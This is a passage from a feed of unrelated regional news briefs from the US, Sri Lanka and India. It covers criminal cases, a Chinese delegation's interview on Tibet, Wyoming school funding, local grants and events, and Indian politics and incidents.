Bullcoming asked if the victim was alone, and she responded that her children were asleep in another room.

Bullcoming then told the victim that he would need to call social services and arrest her for child endangerment because she was intoxicated while in the presence of her children, Dake said.

The victim told Bullcoming that she had started a new job and that she would lose it if arrested.

Bullcoming then told the victim that something had to be done, Dake said.

Bullcoming also had the victim take a breathalyzer, which tested low.

The victim asked Bullcoming if he meant sex when he said, something had to be done, and he said yes.

Bullcoming and the victim had unprotected sexual intercourse, and then the officer left the residence. The victim became pregnant as result of the encounter, Dake said.

Bullcoming initially lied to federal law enforcement investigators about the sexual encounter and denied any contact with the victim on that day but later admitted it was a mistake, Dake said.

Investigators also confronted Bullcoming about the victims pregnancy and requested a DNA test, Dake said.

After the babys birth, the FBI tested the child's DNA and found that it was 75 million times more likely that Bullcoming and the victim were the parents than an unknown randomly selected person, Dake said.

The genetic testing also provided strong evidence that Bullcoming was the childs biological father, the prosecutor said.

Bullcoming disputed some of the government's evidence, saying the victim came to the door when he knocked.

Bullcoming faces a maximum 10 years in prison and a $250,000 fine.

Cavan said he would recommend that U.S. District Judge Susan Watters accept Bullcomings plea. Watters will set a sentencing date. Cavan continued Bullcomings release pending sentencing.
In the wake of criticism in the Western world against China on the situation in Tibet, a delegation of the Institute of History Studies and China Research Centre was in Sri Lanka to brief on the situation there. Director of the Center Prof. Zhang Yun said Buddhism was a major part of the Tibetan culture and that the Chinese Government took efforts to promote that culture as an integral part of Chinese society. International collaboration and academic exchange are key activities of the Chinese Tibetology Research Center. The Center has successfully held three international seminars for Tibetan studies. In 2001, about 220 scholars from 14 countries attended the Beijing International Seminar for Tibetan Studies.

There is distortion of truth by the Western media on the ground situation

Buddhism has become an important and inalienable part of Chinese society

We want Sri Lankan people to understand what we are doing in Tibet

Excerpts from the interview:

Q What is the real purpose of your visit to Sri Lanka?

Our delegation is a Tibetan cultural delegation. We came here as part of a Tibetan cultural exchange programme. Buddhism is a major part of the Tibetan culture. That is the background of this visit. Tibetan culture will play an important role in China- Sri Lanka Buddhist relations.

Q Your visit takes place in the backdrop of Western criticism against what is allegedly being done in Tibet. What is your view?

That is one of the main purposes of our visit this time. That is to introduce our Tibetan culture and introduce our policy on the religion. We want to introduce our policy on the freedom of religion. We want Sri Lankan people to understand what we are doing in Tibet. The perception, expressed by the Western media, has been fed by Tibetans in exile. Of course, there is a distortion of the truth about the ground situation in Tibet.

There was a famous temple in the western part of Sichuan province of China. It is also a Tibetan Buddhist temple. The Central Government of China is renovating it. The Western media have projected such renovation work in a different perspective. It contradicts our real purpose. We do it to preserve the Tibetan culture in that area. The Western countries, or the media for that matter, have distorted facts about such renovation work. In fact, it is projected as if we are destroying that culture.

There was a famous temple in the western part of Sichuan province of China. It is also a Tibetan Buddhist temple. The Central Government of China is renovating it. The Western media have projected such renovation work in a different perspective

Q How do you define religious freedom?

Everyone has the right to decide whether to believe in a religion or not. Everyone has the right to believe in whatever religion he or she likes. Also, everyone has the right to give up his or her religion. Anyone, hitherto remaining as non-religious, has also the right to embrace new religious belief. That is how we define religious freedom.

Q What is the importance of Buddhism to foster cultural ties between Sri Lanka and China?

Chinese monk Fa -Hien spent twelve years in India. He also came to Sri Lanka. By the time, he was more than 70 years old. He had the spirit to explore more and more about Buddhism. He had the spirit to explore different cultures in India and Sri Lanka. At the time of Fa-Hien in Sri Lanka, his vision was to study Vinaya Pitaka among other discourses.

He brought it to China from here and established order among monks there at that time. That is very important for the Chinese. There are historical cultural exchanges. Among them is the arrival of Fa-Hien monk.

Q In developing the Chinese identity, how important is Buddhism?

Throughout history, we have three kinds of doctrine dominating our society. One is the Confucianism. It is more about politics and daily life of people. The other two are Taoism and Buddhism. Taoism is Chinas own religion. Buddhism came from India and played an important role in the Chinese culture. Buddhism has a lot of influence on the daily life of Chinese society. Buddhism has become an important and inalienable part of Chinese society.

Q What is your impression about Buddhism in Sri Lanka?

I do not know much about Sri Lankan Buddhism. But, I know it has had a lot of influence on people here in instilling discipline and harmony among people.
Two separate investigations have been launched following the incidents reported regarding O/L examination frauds from Anuradhapura and Colombo schools, the Examinations Department said.

Speaking to the Daily Mirror acting Examinations Commissioner Sanath Pujitha said the student in the Anuradhapura school who was found with the mobile phone using Viber app to answer Monday's mathematics paper 1, had been suspended for sitting the examination from today.

The suspect student along with the mobile phone and the answer sheet was handed over to the Anuradhapura HQI office for further investigations, Mr. Pujitha said.

Meanwhile, the suspect who had faced the mathematics paper 1 at the Isipathana College examination centre was handed over to the Narahenpita Crime Investigation Division (CID).

The candidate who was facing the mathematics paper for the third time as an external applicant and not a school applicant. (Chaturanga Pradeep)
A Casper man was arrested on Sunday night on suspicion of drunkenly choking a child and throwing her to the floor.

Donald A. Jakobiak, 49, was arrested at his Buckboard Road home after Casper police arrived and found a girl with irritation and bruising on her neck.

Family members told police that Jakobiak had been drinking all night when he fell to the ground. A family member tried to help him up and he grabbed the woman's wrist and did not let go. The child tried to make him let go, when Jakobiak grabbed her by the throat and threw her to the ground, according to court documents.

A family member said Jakobiak then grabbed the girl by the throat again and held her against the wall of the house, according to the documents.

The girl told an investigating officer that she "blacked out" as a result of the assault and did not remember what happened for about 20 seconds. The girl was later taken to an emergency room for medical attention.

Jakobiak was being held in Natrona County Detention Center on Monday morning. He was expected to appear in court for his initial appearance on Monday afternoon.

Police have recommended that Jakobiak be charged with strangulation of a household member and child abuse.
A much-awaited report hoping to help solve Wyoming's education budget crisis was released Monday, suggesting changes to class sizes and how much teachers are paid.

Augenblick, Palaich and Associates -- the Denver-based consultants that are undertaking a top-down review of the state's education system -- had previously revealed several of the recommendations to lawmakers. Though this draft report is the most fleshed-out look into what Wyoming's education system may become, it still lacks crucial information -- like how much the changes would cost compared to what the state spends now.

The report is a important piece of the state's recalibration, a process that closely examines how schools are funded that is typically completed every five years. As Wyoming grapples with a large education funding shortfall, lawmakers decided to initiate the review process three years early.

Matt Willmarth, a state school finance expert, said in an email that the price of the consultant's model will be provided by Jan. 12.

While there are a number of proposals within the 552-page report, potentially the most impactful are the salary and class size pieces. But the recommendations also suggest an examination of transportation and special education spending, both of which are areas of particular interest to lawmakers.

Currently, the state's 48 districts receive their funding in a block grant based on a metric of their attendance. The money comes with few strings attached, meaning that while districts have to hit a number of accountability targets, they are also able to spend their dollars largely at their own discretion.

Two of the biggest variants between what's funded in the model and what actually happens on the ground are salaries and class sizes. For instance, districts receive funding to keep class sizes at a 16-to-1 student-to-teacher ratio. But many choose to spend some of that funding to pay teachers more. The average class size, then, is slightly over 18 to 1, and Wyoming pays an average of $3,900 more to teachers than what the current model dictates.

The consultant's recommendations would technically change that. It would bump salary funding, bringing them closer to what districts actually pay. But it would also increase class sizes, which can have a significant negative impact on how much money a district receives.

Educators and lawmakers suspect those changes would generally offset each other, in terms of funding changes. But because the consultants have yet to provide a total price tag for their recommendations, it's nearly impossible to say for certain.

Other recommendations in the report include:

providing additional funding for at-risk students and English language learners;

providing a size adjustment to protect smaller districts from significant funding shifts depending on enrollment changes;

increasing funding for instructional facilitators;

reducing funding for assistant principals;

calling for districts to collaborate on special education and transportation.

The recommendations would also keep the health insurance funding model the same, which has been a target by some lawmakers for at least a year. They note that many districts' employees don't use health insurance, despite those districts receiving state funding for them. Indeed, the Joint Education Committee considered two bills to change how insurance is funded last month.

But what's the cost?

Sen. Chris Rothfuss, a Laramie Democrat who sits on the Select Committee for School Finance Recalibration, says his rough estimates suggest the proposed recommendations would come out relatively close to what the state spends now on its current model.

"I tried to do a quick just run through it and imagine and honestly couldnt come up with anything," he said Monday, of a final price tag. But he added that it should be "pretty close" to what the state pays now.

Rep. Albert Sommers, who chairs the recalibration committee, said he also it may not "be a lot different" from the state's current K-12 education price tag. But he stressed that was a guess.

A number of officials declined comment because of the size of the report, which many received Monday morning. Sen. Dave Kinskey, a Sheridan Republican and member of the recalibration committee, was stuck in an airport Monday morning and was unable to comment. He's hinted in the past that he favors cuts to education.

Sen. Bill Landen, Speaker Steve Harshman, Kathy Vetter of the Wyoming Education Association and officials from the Natrona County School District also declined to comment, all saying they wanted to further examine the report first.

Looking ahead

The report raises a number of questions about the future of Wyoming education. Most pressing is whether the recommendations will lead anywhere: In 2015, the state held recalibration and ended up with a model that was similar in price to the current one. So they dropped the model and stuck with the current one.

Rothfuss suspected that may happen again, if indeed this model -- which, again, has not been fully priced and built -- doesn't cut costs significantly.

That prospect raises further concerns. When lawmakers in March decided to initiate recalibration, there was concern that it was an effort to introduce backdoor cuts to education. While Harshman and Sommers both said at the time that was unlikely (and would have very likely prompted a lawsuit), a desire for cuts still remains a driving force behind recalibration for some lawmakers.

"For me, this whole endeavor really was for some legislators to dramatically cut funding," Rothfuss said. "And I dont see it providing that."

Sommers said he could not predict what the committee would do, whether it would draft a bill to bring before the Legislature. Rothfuss said he was split on what would happen next. Both stressed that without a dollar figure, it's difficult to look too far into the future.

"I learned a lesson once this year," Sommers said. "You want to look ahead, but if you look too far ahead you make too many assumptions, and I think youve go to be careful as you look ahead not to make too many assumptions."

Rothfuss said he thought the lawmakers may take pieces of the recommendations -- specifically increasing class sizes, which some legislators have shown an appetite for in the past -- and try to implement them in the current model.

Think of the current funding model as a machine. Each piece is related to another, and educators and some lawmakers have warned that opening the hood and tweaking parts will have drastic effects on other parts.

In this case, if lawmakers were to cut funding for class sizes and bump up ratios without lifting salaries, then that would be a significant piece removed without the necessary salary change. It would mean heavy cuts.

The consultants recognized the link between class sizes and salaries. In their report, they say that if class sizes are increased without salary boosts, it would "likely push class sizes outside the bounds of current research best practices and adequacy findings."

That, in turn, could lead to lawsuits. In the spring, a number of large districts -- though not Natrona County -- passed resolutions allowing them to sue the state should they feel that cuts have gone too far. Both Sommers and Brian Farmer of the Wyoming School Boards Association mentioned the potential for litigation by districts.

What comes next is unknown. The legislative session begins Feb. 12 and will last 20 business days. The recalibration committee will have its final meeting on Jan. 23 and 24. In the balance floats the future of education funding in Wyoming.
A University of Wyoming-backed clinic received a $175,700 grant to help expand access to substance abuse and mental health services related to the opioid crisis, the college announced Friday.

The Albany Community Health Clinic, which opened in April and is operated by UW's College of Health Sciences, received the grant from an agency under the umbrella of the federal Department of Health and Human Services. A major aim of the grant is to combat the abuse of prescription drugs, according to a university press release.

"The goal is to focus on treatment, prevention and awareness of opioid abuse and its integration into primary care," according to the release.

The grant money will be used to increase train mental health personnel, program director Katy Hartman said in the release. It will also help improve health information technology.

"The mind and the body cannot be unlinked," she said. "In order to best treat the body, mental health issues must be addressed, and good physical health, in turn, supports good mental health. Integration of mental and physical health services will allow us to better treat each client as a whole person."

The clinic is funded by another grant, received in late 2016, that also came from the Department of Health and Human Services. It provides "comprehensive health care services to Albany County residents, regardless of ability to pay," according to the release. Patients between 100 and 200 percent of the poverty line are billed on a sliding fee scale.

The $175,700 award isn't the first grant a university affiliate has received related to health care this year. In July, an assistant nursing professor at UW received a nearly million dollar grant to develop an "integrated behavioral health primary care initiative," also from the national health department.
Chris Chase can relate to people in recovery who may struggle during the winter holidays.

Ive had some bad Christmases where I didnt have a place to go; I didnt have people that cared," said Chase, who has been sober for 11 years.

Chase is the ministry leader for the Celebrate Recovery program offered at McCabe United Methodist Church in Bismarck. The program offers a safe space for people dealing with numerous kinds of "hurts, habits or hang-ups."

The Celebrate Recovery program helps people from all walks of life, and not just people with alcohol and substance use disorders, but people who are dealing with codependency, marital issues and any struggle in their life.

Chase said the idea popped into his head to hold the Christmas Day service, so he printed off flyers and distributed them around town.

"I really want to help those people who have had those rough Christmases or dont have a place to go," he said.

Celebrate Recovery was founded at a church in California more than 25 years ago, and it incorporates 12 steps that are similar to Alcoholics Anonymous but are Christ-centered.

The program started at McCabe about three months ago. Chase said he does service work at McCabe, and about a year ago he learned about the Celebrate Recovery program.

"Its kind of a God thing how it happened, because I was always called to help people in recovery, and I had been through such a transformation in my life that I wanted to share that with people everywhere," he said. "This is what Ive been looking for in my life to do."

McCabe offers Celebrate Recovery services at 5:30 p.m. Saturdays at the church, starting with a dinner and a service. People share their testimonies on how theyve been transformed. They also break off into small, gender-specific groups.

Chase and Kalyn Retterath, a worship leader for the program, said the goal of the Christmas Day event is to offer support to those in recovery.

"We felt it was really important for a Christmas event, because a lot of people sometimes when theyre going through recovery, theyre in a bad place (and) they might not have people to spend the holidays with," Retterath said.

The goal of the event is to also increase awareness of the program, Chase said.

The Celebrate Recovery Christmas Day service will be held from 3 p.m. to 7 p.m. at McCabe, 1030 N. Sixth St., with a free dinner at 5:30 p.m. For more information, call 701-891-9928, or visit www.celebraterecoverybismarck.com.
Former Beulah Lead Police Officer Dustin Pekas testified Monday in a motion hearing to suppress statements he made to investigators last fall.

Pekas, 36, was fired in mid-September after he reportedly admitted to sexual contact with a teenage girl. He is charged with felony sexual assault and set for trial Jan. 4.

Defense and prosecuting attorneys met Monday morning at the Morton County Courthouse for the hearing. Special prosecutor Ladd Erickson agreed to not admit as evidence Pekas' phone call to his wife from jail and statements after he invoked an attorney.

However, Erickson and defense attorney Lloyd Suhr disputed whether Pekas was in custody at the time of his interview with agents from the North Dakota Bureau of Criminal Investigation.

BCI Special Agent Lindsay Wold said the interview took place at the Beulah city attorney's law firm in a conference room. Beulah Police Chief Frank Senn had called Pekas to the office and took his sidearm and taser.

Wold said Pekas was uniformed and on duty at the time, was told he didn't have to speak with investigators and said he understood his rights.

Pekas testified he felt he would have been fired if he tried to leave.

"I felt if I didn't show cooperation, I could have been fired from my job," he said.

"What relevance does that even have?" Erickson asked.

"I just felt if I didn't cooperate, I would have been released of my duties as a law enforcement officer," said Pekas of the possibility of losing his main source of income.

"I felt that I was made to come there," said Pekas, adding that the confiscation of his weapon led him to believe he was in custody. Wold countered that agents never interview someone who is armed.

A BCI agent also accompanied Pekas to the restroom during the 75- to 90-minute closed door interview, he said.

After the interview, agents arrested and handcuffed him, Wold said.

Wold said investigators already had interviewed the girl and felt urgency to talk to Pekas.

"Based on the seriousness of the offense, it had to be done as soon as practical and I didn't feel we had time to wait," she said.

"The important thing here is it was pinpointed to be on duty," Suhr said.

Suhr asked South Central District Judge Bruce Romanick to find Pekas was in custody, had an inadequate Miranda warning and to suppress all statements before and after his invocation of counsel.

Romanick took the matter under advisement and said an order will come this week.

In October, the North Dakota Peace Officer Standards and Training Board served Pekas with a complaint regarding a code of conduct violation related to his criminal case.

POST Board executive secretary Duane Stanley said the case is in default after correspondence indicated Pekas wouldn't appear at a hearing. His peace officer's license has since been revoked.
In a voluntary confession to a sex crime, a federal prisoner received a slightly lesser sentence for the offense.

Under his plea agreement, 28-year-old Richard Garrett Staples pleaded guilty to abusive sexual contact. In November 2016, while imprisoned in Minnesota, he voluntarily disclosed the abuse from 2010 to a counselor.

"Without him, the United States would never have discovered this offense," Assistant U.S. Attorney Jonathan O'Konek told District of North Dakota Chief Judge Daniel Hovland at Staples' sentencing Tuesday in Bismarck.

O'Konek and defender Christopher Bellmore each requested a 41-month sentence for Staples, to run concurrent with his present federal sentence for sexual abuse, ending in January 2019. However, Bellmore asked for credit for five months served since Staples was arrested and relocated.

"He knowingly knew that this was going to be reported to law enforcement and that's exactly what he wanted to have happen," Bellmore said. "This conviction is something that is important to him. It will help him move on."

Staples told Hovland he would like to move back to Bismarck one day.

"I'm just thankful for where I'm at right now and how I'm going about my life and trying to move on," he said.

Bellmore said Staples has taken advantage of treatment opportunities while in prison.

"He felt safe, safe enough to talk about this issue with sexual abuse as a defendant and as a victim," he said.

Hovland sentenced to Staples to 41 months in federal prison to run concurrent with his remaining sentence, with five years supervised release.

The 41-month sentence is a "downward departure" based on his voluntary disclosure, Hovland said, lesser than the 46-month minimum he may have faced.

Staples may have no contact with anyone younger than 18. Hovland said he will also recommend to the Federal Bureau of Prisons that Staples return to the Minnesota prison where he found treatment opportunities for mental health and sexual abuse.

"I hope that you can get the help you need, sir, so that you're not coming in and out of federal courtrooms and prisons for the rest of your life," Hovland said, also commending Staples for disclosing the abuse.

"He truly has remorse," Bellmore said.
A State Troopers offer of assistance to the driver of an overheated vehicle ended in the arrests of three people and the seizure of 1  pounds of fentanyl and nearly $62,000 in cash.
FARGO  The city of Fargo has won a $5 million prize after two years of competing against 50 communities across the country in finding creative, effective ways to conserve energy and increase sustainability.

During the competition, its estimated Fargo saved $2 million in gas and electric costs, according to Uwe Brandes, executive director of the Georgetown University Energy Prize, who came here to present the award on Monday, Dec. 18.

Fargo built an extraordinary program that brought together the community through partnerships, leveraged local assets and a strong benchmarking system, Brandes said.

In 2014 the city signed on with the North Dakota Department of Commerce, North Dakota State University, Xcel Energy and Cass County Electric Cooperative to form a partnership called eFargo.

The collaboration led to the creation of a website that provided tips, data and games, featuring the evil character Waste-A-Watt, that showed students in Fargo and West Fargo school districts and their families how to save energy and lower utility bills.

With homes accounting for 85 percent of Fargos energy use, Mayor Tim Mahoney said, Mondays recognition was made possible by the efforts of students, who brought home tips such as shutting off lights and using LED bulbs. The Waste-A-Watt game is being replicated for other school districts across the state.

Other energy-saving strategies involved the city providing financial assistance to low-income homeowners for weatherization and switching traffic lights to LED bulbs.

In Fargo, we pride ourselves on expertly mining efficiencies. Today is an acknowledgement of that, Mahoney said. I am convinced that the Georgetown University Energy Prize award will serve as a catalyst in the Fargo metro areas quest to attain real, sustainable energy savings and major carbon reductions.

Project leader and NDSU professor Malini Srivastava said the $5 million prize will be used to finance new sustainable energy projects in the community. She hopes to leverage the money to work toward a net-zero carbon future for the Fargo-Moorhead area.

Its a cause for celebration, Srivastava said. Were now the national leader. It gives us a responsibility to imagine an even better future with much greater savings.
Mumbai: A R Rahman is not one youd like to associate with too many controversies, but the music maestro has unfortunately got embroiled in few of them recently, mainly for his concerts.

His concert at Wembley in July this year had faced Twitter outrage as he had performed way too many songs in Tamil.

While you could blame Rahman for his choice of songs in that case, this time it was the arrangements related to the event that did the damage.

As part of his Encore tour of multi-city concerts, Rahman performed in Mumbai on Sunday, but fans were left fuming over the seating arrangements and sound quality, according to a report in Mid-day.

One of the fans, Khushal Lalwani told the tabloid, "I couldn't find my seat for the first hour, as the seating arrangement was all over the place. I watched half the event standing despite having paid for a seat. Strangely, the height of the stage was so low that you couldn't see the performers."

Another fan, Aly Rana, who expected closer view of the concert, considering he had spent Rs 5000 for platinum tickets was also disappointed.

As I walked towards my seat, I saw that the platinum seats were at quite a distance from the stage. People huddled up in front of the rows, and I could barely see anything happening on the stage," Rana was quoted as saying.

He added, "The sound quality was pathetic. It is probably the worst concert I have attended."

One of the others who attended the concert, Parool Shah revealed that Rahman also got aware about the disgruntlement from fans, but his reaction to it couldve hardly saved the situation.

She said, "Sensing the audience disgruntled about the mismanagement, Rahman said that if you can't see me, just enjoy listening to my music. If I had to do that, I could have listened to his songs on a music system. Plus, he hardly performed for half an hour."

Bookmyshow, the ticketing and event partner, however, had a different story to tell.

"The ground partner made alterations in the seating arrangements two days prior to the show due to technical issues. We informed our customers of the change via emails and texts on Saturday. As for the sound, it was much advanced compared to the regular arrangements for such shows."

Rahman will be completing his Encore tour in Delhi on 23 December, and we hope fans are a satisfied lot there.
Being rich can make you self-centred and selfish, a new study suggests.

For the study, University of California researchers looked at how we experience happiness by surveying 1,519 people in the United States (US).

Those with all the money in the world experience more positive emotions when the focus is on them, The Independent reported.

They also found people with lower incomes experienced happiness in others through feelings of love and compassion.

"Lower-income individuals have devised a way to cope, to find meaning, joy and happiness in their lives despite their relatively less favourable circumstances," lead author Paul Piff of the University of California, Irvine told The Independent. Adding, "Wealth doesn't guarantee you happiness, but it may predispose you to experiencing different forms of it - for example, whether you delight in yourself versus in your friends and relationships."

The research was published by American Psychological Association and the study's findings were originally published in the journal Emotion.
The cards cover features an etching of a snowman, above the words seasons greetings, as well as a seasonal message inside. (Photo: Pixabay)

British scientists have created what they believe is the worlds smallest Christmas card, a seasonal greeting so tiny that over 200 million of them could fit into a standard postage stamp.

The card, created by the National Physical Laboratory (NPL), the U.K.s national measurement standards laboratory, measures 15 x 20 micrometers. A micrometer is one millionth of a metre.

It is made from platinum-coated silicon nitride, and was illustrated using a focused ion beam. The cards cover features an etching of a snowman, above the words seasons greetings, as well as a seasonal message inside.

One of the cards inventors, NPLs Dr David Cox, who created the card along with his colleague Dr Kin Mingard, said the technology used in its making had more practical uses.

We are using the tools that created the card to accurately measure the thickness of extremely small features in materials, helping to unlock new battery and semiconductor technologies. Its a genuinely exciting development.

The NPL said that the previous smallest Christmas card measured 200 x 209 micrometers, making their effort over 100 times smaller.
Woman banned from entering airport lounge because she was wearing Ugg boots. (Photo: Pixabay)



New Delhi: Joanne Catherall, vocalist for English synth-pop band Human League, kicked out of the Qantas business lounge in Melbourne for wearing the wrong kind of boots.

Catherall took to Twitter and shared that the Qantas lounge denied her access to the business class accommodations because the shoes are considered "sleepwear".

She wrote, "Denied access @Qantas business class lounge in @Melair Melbourne Airport apparently Ugg (Australia) Boots are deemed sleepwear by the lady working there although no problem in any of the other lounges so far.Helpfully she suggested I go to one of the shops & purchase some shoes."

To which, Qantas responded, "Hi Joanne, we endeavour to remain consistent and uphold our Lounge's dress guidelines to all our guests."

She then asked, "Why would an @UGG boot I wear outdoors in all weathers be classed as sleepwear in @Qantas lounge but nowhere else that I have ever been on this earth?"

Fans came to her support and tweeted in her favour criticising Qantas.

A user wrote, "I'm sorry but @Qantas this is pure snobbery. I always wear Ugg boots to travel in as they r so comfy & I've never not been allowed in a Lounge in America, Europe or the UK."

This is not the first time that such an incident has happened as in March this year, two women were barred from boarding a United Airlines flight for wearing leggings.

Here are her original tweets:

Denied access @Qantas business class lounge in @Melair Melbourne Airport apparently Ugg (Australia) Boots are deemed sleepwear by the lady working there although no problem in any of the other lounges so far.Helpfully she suggested I go to one of the shops & purchase some shoes  Joanne Human League (@Lubycat) December 14, 2017
North Dakota attorney general Drew Wrigley says doctors who perform abortions should be able to disclose the patients personal health information as part of their defense to avoid prosecution. North Dakotas abortion ban, which is currently on hold because of a lawsuit, makes the procedure illegal except in cases of rape or incest or when the life of the mother is in danger. Doctors would have to prove those exceptions in court in order to be cleared of a Class C felony. The attorney general said he couldnt find any cases that address the scenario and it would not violate the privacy rule.
From firecracker ban in November to the delay in release of Padmavati, here are 10 reasosn for Indians to get slighted. (Youtube Screengrab)

From a mother breastfeeding her child, to a woman dressing the way she wants or a film being showcased, here are 10 things that offended Indians this year.

Indians are known to take offence at the smallest of reasons. Getting slighted is like second nature, thus it was not difficult to list 10 reasons that offended Indians over the course of 2017.

Firecracker ban in November: After SC banned sale of crackers in the National Capital, many Hindus were clearly offended with what they felt was a propaganda against their faith and Hindu festivals.

Sunny Leones unsanskari ad: Lets face it, we Indians get offended whenever the term condom crops up. Be it in societal settings or when men are asked to wear one. Thus it was not surprising that many did not like Sunny Leones unsanskari Navratri-themed condom ad.

Priyanka Chopra meeting PM Modi: Well, the world may move on, but women in India are still not allowed to dress the way they want to. Priyanka Chopra wearing a dress while meeting Prime Minister Narendra Modi, thus did not go down too well with purists.

Jawed Habib apologises for ad: While many Bengalis did not find the advertisement hurting their sentiment, having grown up in a cosmopolitan setting that celebrates art, a lot of people did find it offensice. Jawed Habib had to apologise for an 'offensive ad' because religious sentiments, it turns out, is fairly easy to hurt in this country.

Irfan Pathans wife shows hands. How dare she: This another one from the purist brigade, Irfan Pathan's fans were offended because his wife was being too Un-islamic by showing her arms and wearing nail paint. Again, how can a woman in this country dare to be so, modern.

AIB gets roasted: Freedom of speech, what is it? AIB was caught in the fire yet again for making a meme on PM Modi.

Hindus get offended by creativity: Many Hindus in Australia and in India were offended by an Australian ad showing Lord Ganesha committing the sin of eating beef.

CBFC gets offended, multiple times: The Censor Board was offended by the content of Danish Girl and cancelled its TV premiere and CBFC was offended by Hanuman Chalisa in the film Phillauri.

Lisa haydon breastfeeding does not go down well: Lisa Haydon offended trolls who it seems managed to get offended by seeing a photo of a mother breastfeeding her child, because, hey! Thats not natural!

Padmavati: Fiction became reality and historical even as people got offended by creativity getting displayed on celluloid. Padmavati is yet to see the light of the day.
Chennai: A city police sub-inspector suffered injuries after he was attacked by a history-sheeter during the early hours of Monday. SI P. Srinivasan attached to Aminjikarai police station was on vehicle check duty at Pulla Reddy avenue around 1.30 am when the incident happened.

The policeman had flagged a two-wheeler approaching the checkpoint. However, the rider abandoned the bike and fled after which Srinivasan gave a chase and nabbed him. At that instance, the man pulled out a pocketknife and attacked Srinivasan.

Hearing his cries, other policemen rushed to his aid. The attacker too slashed his throat with the knife, police said. Both the policeman and robber were moved to the Kilpauk Medical college hospital.

The attacker was identified as Manikandan (23) of Kolathur. He has more than five bike theft cases and mobile snatching cases against him, police said. A case was registered against him and he was arrested.


The grievances day at the collectorate at Erode in Tamil Nadu saw two bizarre representations -- a 65-year old man, appearing to be mentally unsound, seeking help to reach Delhi for being 'appointed' as deputy PM and an upset youth presenting his plea after wounding his hand. (Photo: Facebook | District Collector Erode)

Erode: The grievances day at the collectorate at Erode in Tamil Nadu saw two bizarre representations -- a 65-year old man, appearing to be mentally unsound, seeking help to reach Delhi for being 'appointed' as deputy prime minister and an upset youth presenting his plea after wounding his hand.

Police said the well-attired elderly person walked into the Collectorate on Monday, saying Prime Minister Nadrendra Modi had 'appointed' him as his deputy and he wanted to go to New Delhi to "assume the office".

He wanted District Collector S Prabakar to help him to reach Delhi immediately.

On hearing his claim, the police tactfully removed the man from the collector's office.

Police said the man appeared to be mentally unsound and went away later. They did not have any details about his identity.

In the other incident, Ranjithkumar (28) of Komarapalayam village submitted a petition seeking the Collector's intervention, alleging 'inaction' by local officials on his repeated representations for grant of 'patta' (land document) to his house site.

Officials said the Collector assured action on his grievance, following which he came out.

However, he suddenly fished out a small scissors and inflicted a cut injury on his hand and submitted another copy of his petition to the Collector.

Police intervened and took him to a nearby government hospital from where he was sent home after the wound was bandaged.
Prime Minister Narendra Modi, BJP chief Amit Shah and other senior leaders of the BJP met in New Delhi on Monday evening. (Photo: Twitter | @BJP4India)

New Delhi: Soon after the election results were declared the victorious Bharatiya Janata Party's (BJP) decision making body swept into action for the next step of selecting the chief minister to represent the state. The party's decision making body decided to send two teams led by Finance Minister Arun Jaitley to Gandhinagar and Defence Minister Nirmala Sitharaman to Shimla as observers.

The Central Parliamentary board of the BJP met in Delhi after Prime Minister Narendra Modi's victory speech where he called the support for the party an indication that the country was ready for "reform agenda as every citizen wants India transformed".

After the meeting, Health Minister JP Nadda said it had been decided that Arun Jaitley and the party general secretary Saroj Pandey will be the party's observers for the selection of the chief minister in Gujarat while Nirmala Sitharaman and Rural Development Minister Narendra Singh Tomar will be party's observers for Himachal Pradesh.

"They will speak to the MLAs to elect new leaders of the party," Nadda added.

During the party's campaign in Gujarat, BJP Chief Amit Shah had said that incumbent chief minister Vijay Rupani is the party's face in the state Assembly elections.

Earlier during a press conference when Shah was asked who will be BJP's choice for the top post in Himachal Pradesh if its chief ministerial candidate Prem Kumar Dhumal loses the election, Shah said the party's parliamentary board will take a call on this.

Dhumal, who was named as the BJP's presumptive chief minister at the last minute in a deviation from the party's strategy in recent state elections, however has lost. BJP now has as a free hand to name anyone else for the chief ministerial post.

The BJP has managed to retain Gujarat, Prime Minister Narendra Modi and BJP president Amit Shahs home turf for the sixth time and snatched Himachal Pradesh from the Congress with nearly two-thirds majority in the recently concluded assembly elections.

With inputs from PTI.
Potti Sreeramulu, who had given a separate state for the Telugus in the form of Andhra State with his 58-day fast and his supreme sacrifice in 1952, is now forgotten across the state as no politico or senior official paid tributes to the departed fighter. (Photo: tollybeats.com)

Vijayawada: The first linguistic state to be formed in India has conveniently ignored its formation day, November 1, and the sacrifices made by Potti Sreeramulu and Tanguturi Prakasham Panthulu towards its cause. These issues came up for discussion in the elite academic circles, in the wake of Prapancha Telugu Mahasabhalu being held at Hyderabad. The top circles have been urging the government to honor the martyrs at least now, by declaring the state formation day as November 1, like in the erstwhile Andhra Pradesh, by stating that it was Telangana which was formed as a new state and not AP.

It may be recalled that after the reorganisation of the state, the AP government had announced Prakasam Pantulu birth anniversary celebrations as a government event. On August 23, ministers Siddha Raghava Rao, Dr P. Narayana as well as communications adviser to the government of Andhra Pradesh Parakala Prabhakar had attended the 146th birth anniversary celebrations of Tanguturi Prakasam Pantulu at Ongole and Vinodarayunipalem.

Potti Sreeramulu, who had given a separate state for the Telugus in the form of Andhra State with his 58-day fast and his supreme sacrifice in 1952, is now forgotten across the state as no politico or senior official paid tributes to the departed fighter. After the bifurcation of the state, gratitude has gone with the wind as the state administration has forgotten to remember and honour the leaders who were responsible for the birth of the state.

In fact, prior to the states second bifurcation in 2014, there had been a practice of honouring Potti Sreeramulu for his services in achieving statehood for Andhra, but the practice disappeared after that. Now, even though there were no instructions from the state government to hold programmes to honour the leader, no private group organised any event in Nellore, or anywhere in the state. Potti Sreeramulu, who was born in Chennai, belongs to Nellore district as his parents were from the district. He studied in Chennai and Mumbai and finally landed in Nellore.

The Andhra State was formed in October 1953 and on November 1, 1956, Andhra Pradesh, Kerala, Tamil Nadu, and Karnataka states were formed, followed by Gujarat and Maharashtra in 1960. The formation of linguistic states is an important event in the history of the linguistic groups of southern India. Recollecting the fond memories related to the contribution of leaders like Potti Sreeramulu and Tanguturi Prakasham Panthulu, Professor L.S.N. Prasad of Guntur urged the government to set up study centres in the Capital or in the Acharya Nagarjuna University.
Twenty-seven people have been taken into custody, the DCP said, adding, some more are expected to be arrested. (Photo:

Belagavi (Karnataka): Clashes broke out between two communities in Belagavi over erection of a pandal dedicated to Lord Ayyappa, triggering stray incidents of violence that left two police officials injured, a senior police officer said on Tuesday.

The trouble broke out on Monday night when a section of people from a community objected to the pandal erected by Ayyappa devotees, Deputy Commissioner of Police (Crime) Amaraanth Reddy said.

Miscreants hurled stones and set fire to a car, two auto-rickshaws and a couple of two-wheelers, he said.

